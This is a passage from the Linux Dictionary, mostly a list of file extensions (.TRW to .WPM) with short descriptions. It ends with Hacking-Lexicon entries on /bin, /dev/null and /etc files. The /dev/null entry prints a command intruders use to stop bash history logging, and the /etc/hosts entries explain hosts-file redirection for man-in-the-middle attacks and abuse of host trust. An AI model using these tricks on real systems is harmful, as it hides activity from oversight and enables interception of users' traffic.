<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TRW**
Session-state settings (Turbo Debugger for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .TST**
Printer test file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TTF**
TrueType font (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ttf**
Truetype font. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TTK**
Translation tool kit file (Corel Catalyst) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TTO**
Client access data specification file (AS/400) (Server to Client) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TUV**
Tutorial file (Many programs use this suffix for their tutorials) (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV**
Table view settings (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV1**
Overflow file above insert point in document 1 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV2**
Overflow file above insert point in document 2 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV3**
Overflow file above insert point in document 3 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV4**
Overflow file above insert point in document 4 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV5**
Overflow file above insert point in document 5 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV6**
Overflow file above insert point in document 6 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV7**
Overflow file above insert point in document 7 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV8**
Overflow file above insert point in document 8 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TV9**
Overflow file above insert point in document 9 (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TVF**
Table view settings (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TWF**

Linux Dictionary

- Data file (TABWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TWW**
Template file (TagWrite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TX8**
MS-DOS text From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXB**
Encoded briefing file (Descent/D2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXF**
Compressed archive (FREEZE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXF**
Compressed archive (TAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXF**
Tax exchange format (Quicken and others) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXI**
Support file (TeX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXT**
ASCII <http://WhatIs.techtarget.com/definition/0,,sid9_gci211600,00.html> text-formatted data
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .txt**
Plain English text file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TXW**
Wave file (Yamaha TX16W) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TYM**
Time Stamp files (PageMaker 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TZ**
Old compression file (TAR), (COMPRESS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .TZB**
Compressed archive (Tar) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UAP**
User agent profile (Used by wireless telephony applications) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UB**
Raw unsigned byte (8-bit) data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UC2**
Compressed archive (UltraCompressor II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UCN**

Linux Dictionary

- New compressed archive (UltraCompressor II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UDF**
Image filter (Photostyler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UDF**
Unique Database (Microsoft Windows NT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UDW**
Raw unsigned doubleword (32-bit) data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UE2**
Encrypted archive (UltraCompressor II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UFO**
Object file (Ulead) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UG**
Drawing file (AutoCAD and others) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UHS**
Binary file (Universal Hint System) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UI**
Espire source code (Geoworks UI Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UI**
User interface file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UIF**
Long prompts for Microsoft Windows (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UIH**
Espire header file (Geoworks UI Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UL**
Audio file (ULAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ULAW**
(CCITT G.711) audio (US Telephony) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ULD**
Uploaded file information (Procomm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ULT**
Music module (MOD) (UltraTracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UMB**
Backup file (archive) (MemMaker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UNI**

Linux Dictionary

- Datafile (Forecast Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UNI**
UniMod music module (MOD) (MikMod) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UNX**
Text file (Unix specific information) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UPD**
Updated program data (dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UPD**
Updated program data (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UPI**
Program file (ULead Photo Impact) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UPO**
Compiled updated datafile (dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UPX**
Saved Image file (ULead Photo Express) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .URF**
Universal radar format (Radar ViewPoint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .URL**
Internet shortcut file (Universal Resource Locator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USE**
Source Integrity file (MKS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USP**
Printer font w/updated USACII extended character set (Pagemaker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USR**
Audit trail file (Pro/Engineer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USR**
User database file (Procomm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USR**
User database file (Tour) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .USR**
User database file (Turbo C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UU**
Compressed ASCII archive (UUDE/ENCODE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UU**

Linux Dictionary

- UU-encoded file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UUE**
Executable compressed ASCII archive (UUDE/ENCODE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UUE**
UU-encoded file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UW**
Raw unsigned 16-bit datafile (Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .UWF**
Wave file (UltraTracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .V**
Consistency check support file (ReaGeniX Code Generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .V**
Main image input file (Vivid 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .V8**
8-bit audio file (CoVox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAL**
Asset management document (Milliplex OmniValue) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAL**
Validity checks/referential integrity checks (Paradox for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAL**
Values list object file (dBase Application Generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAN**
Animation file (VistaPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAP**
Annotated speech file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAR**
ASCII text file for data dictionary (Sterling Software Groundworks, COOL Business Team Enterprise Model) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VAR**
Variable file (IconAuthor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBA**
VBase file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBP**
Project file (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBR**

Linux Dictionary

- Remote automated registration file (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBS**
Script file (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBW**
Workspace file (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBX**
Custom control file (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VBX**
Visual basic extension (Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VC**
Include file with color definitions (Vivid 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VC**
Spreadsheet (VisaCalc) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCE**
Unformatted voice file (Natural Microsystems) (NMS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCE**
Unformatted voice file (used by Cool Edit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCF**
Configuration file; defines objects for use with Sense8's WorldToolKit (Vevi) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCF**
Virtual card file (Many programs use this extension) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCF**
Virtual card file (Netscape) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCT**
Class library (Microsoft FoxPro) (MFC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCW**
Visual workbench information file (Microsoft Visual C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VCX**
Class library (Microsoft FoxPro)(MFC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VDA**
Graphics image (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VDA**
Targa bitmap From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VDR**

Linux Dictionary

- Drawing file (ComputerEasy Draw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VEL**
3D drawing file (CAD(Ashlar) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VEW**
View file (Clipper 5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VEW**
View file (Lotus Approach) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VFL**
Clip art file (PrintMaster Gold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VFM**
Voting form (Voter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VFN**
Voting form for customers (VFN) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VGA**
Video graphics array (Font type for display on a VGA Monitor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VGA**
Video graphics array (Monitor type, also defines if your monitor is compliant with the new (1994) SVGA (Super Video Graphics Array) (SVGA) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VGD**
Visual display driver (Generic CADD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VGR**
Graphics file (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VI**
Graphics file (Jovian Logic VI) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VI**
Virtual Instrument file (National Instruments LABView) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIC**
Graphics file (Vicar) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VID**
Bethesda video files (Terminator, Future Shock) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VID**
Bitmap graphics (YUV12C M-Motion Frame Buffer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VID**
Screen device driver (Microsoft Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .VID**
Shell monitor file (Microsoft DOS v.5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIF**
Khoros Visualisation image (SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIFF**
Khoros Visualisation image (SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIK**
Graphics Image (Viking) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIR**
File identified as a virus-infected file by Norton AntiVirus and possibly others From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIS**
Graphics image file (VIS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIV**
Streaming video file (VivoActive) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VIZ**
dVS/dVISE file (Division) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VLB**
Library file (Corel Ventura) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VLM**
Drafting program file (Vellum, by Ashler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VM**
Virtual memory file (Geoworks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VMC**
Virtual memory configuration file (Adobe Acrobat Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VMD**
On-line video file (Sierra) (Torin's Passage) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VMF**
Audio file (FaxWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VMF**
Font characteristics file (Ventura Publishing) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VML**
Vector markup language (used by Microsoft Office 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .VMS**
Text file with vms specific information From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.VO

Include file with object definition (Vivid 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOB

Encrypted video and audio files used on current DVD's (Digital Video Disk) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOC

Audio file (Creative Labs Sound Blaster) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOC

Audio file (Quartet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.voc

Audio format (Soundblaster's own format). From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOF

Object folder (VZ Programmer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOX

Audio file (Talking Technology) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOX

Dialogic audio file coded using ADPCM
<http://WhatIs.techtarget.com/definition/0,,sid9_gci213763,00.html> From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VOX

Formatted voice file (Natural Microsystems) (NMS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VP

Publication (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VPG

Graphics image file (VPGraphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VQA

Video files (Westwood Studios) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VQE

VQ Locator file (Yamaha Sound) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VQF

VQ file (Yamaha Sound) (possible emerging standard) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VQL

VQ Locator file (Yamaha Sound) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VRF

Configuration file (Oracle 7) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VRM

Linux Dictionary

Overlay file (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VRML

A VRML file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VRP

Project file (VXRexx) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VRS

Video device driver (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VS

Include file w/surface definition (Vivid 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSD

Drawing file (flow chart or schematic)(Shapeware Visio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSL

Download List file (GetRight) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSM

Simulation model (VisSim) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSN

A Windows 9x/NT ViruSafe version file; used to keep information about all the files in a directory; when a file is accessed, information is compared with the VSN information to ensure that they match
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSP

Data print file (Schedule Soft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSP

Image sprite (SPX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSS

Smartshapes image file (Shapeware Visio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VSS

Stencil file (Shapeware Visio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VST

Bitmap graphic file (TrueVison Vista) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.VST

Targa bitmap (Generic) From Whatis-Extensions

.WK3

Spreadsheet (Lotus 1–2–3 v. 3) From Whatis–Extensions
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

.WK4

Spreadsheet (Lotus 1–2–3 v. 4) From Whatis–Extensions
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

.WKB

Document file (WordPerfect for Windows) From Whatis–Extensions
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Linux Dictionary

.WKE

Spreadsheet (Lotus 1-2-3 Educational version) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WKQ

Spreadsheet (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WKS

Document (Microsoft Works) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WKS

Spreadsheet (Symphony 1.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WKS

Worksheet spreadsheet (Lotus 1-2-3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WKS

Workspace file (Xlisp) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WLD

REND386/AVRIL file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WLF

Upload file (Argo Upload I) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WLK

Graphics file (Virtus Walkthrough) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WLL

Add-In file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WMA

Audio file in Microsoft Windows Media format (Can be changed to ASF) Siren (Sonic Foundry)
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WMC

Backup files for startup (MathCAD for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WMC

Macro file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WMC

Text file (WordMARC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WMF

Metafile (Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WN

Text file (NeXT WriteNow) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WNF

Outline font description file (CorelDRAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.WOA

Swap file (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WOC

Organization chart (Microsoft Windows OrgChart) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.word

processing documents From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WOW

Music module (MOD) (Grave Composer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WP

Document file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WP4

Document (WordPerfect for Windows 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WP5

Document (WordPerfect for Windows 5.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WP6

Document (WordPerfect for Windows 6.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPA

Word processor document (ACT!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPD

Demo file (WordPerfect for Windows) (ALL) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPD

Document (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPF

Document (Enable) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPF

Fax document (WorldPort) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPF

Form file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPG

Graphics file (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPG

Microsoft Word for Windows vector graphics (DrawPerfect) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.WPK

Macro (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .WPM**
Macro (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/bin

A directory containing executable programs, primarily binary files. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/bin

A directory that contains executable programs, the majority of which are stored in binary files. Most programs are found in directories /bin and /usr/bin; however, users often keep additional programs in private bin directories, such as /home/linux/bin. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/dev/null

On UNIX, this is a virtual-file that can be written to. Data written to this file gets discarded. It is similar to the file call NUL on Windows machines. Key point: When rooting a machine, intruders will often redirect logging to /dev/null For example, the command `ln -s /dev/null .bash_history` will cause the system to stop logging bash commands. Culture: In the vernacular, means much the same thing as black hole. Typical usage: if you don't like what I have to say, please direct your comments to /dev/null. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/etc

The directory on UNIX where the majority of the configuration information is kept. It is roughly analogous to the Windows registry. Of particular interest is /etc/passwd file that stores all the passwords. Key point: If an intruder can read files from this directory, then they can likely use the information to attack the machine. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/etc/hosts

The file that contains a list of hostname to IP address mappings. In the old days of the Internet, this is how machines contacted each other. A master hosts file was maintained and downloaded to machines on a regular basis. Then DNS came along. Like the vestigial appendix. On Windows, this file is stored in %SystemRoot%\system32\drivers\etc. Hack: If you can write files to a user's machine, then you can add entries to his/her hosts files to point to your own machine instead. For example, put an entry for www.microsoft.com to point to your machine, then proxy all the connections for the user. This will allow you to perform a man in the middle attack. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/etc/hosts.equiv

On UNIX, the "hosts.equiv" file lists other hosts that can be thought of as "equivalent" to this one. This machine will therefore "trust" these other machines. Users connecting to this machine from the listed machines will not have to present a password, it is assumed that these other machines have already verified the password. Analogy: The European Union (EU) doesn't have passport control between countries. You only have to present your passport when entering the first European country, then you can roam freely once inside the union. The "hosts.equiv" file creates a similar union of machines. Hack: Hackers will target this file. If their target is machine A, they may instead find that A trusts B, and B may be easier to break into first. At that point, the hacker can hop back to A using an account on B. Likewise, if a hacker can write to this file, they can tell the system to trust any other system on the network (including the hacker's own machine). Hack: Older software would do a reverse DNS lookup on a connecting IP address. If the hacker controlled the DNS server, s/he could return a trusted domain name, and therefore be allowed into the system. Another older hack is the default "+" entry. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/etc/passwd

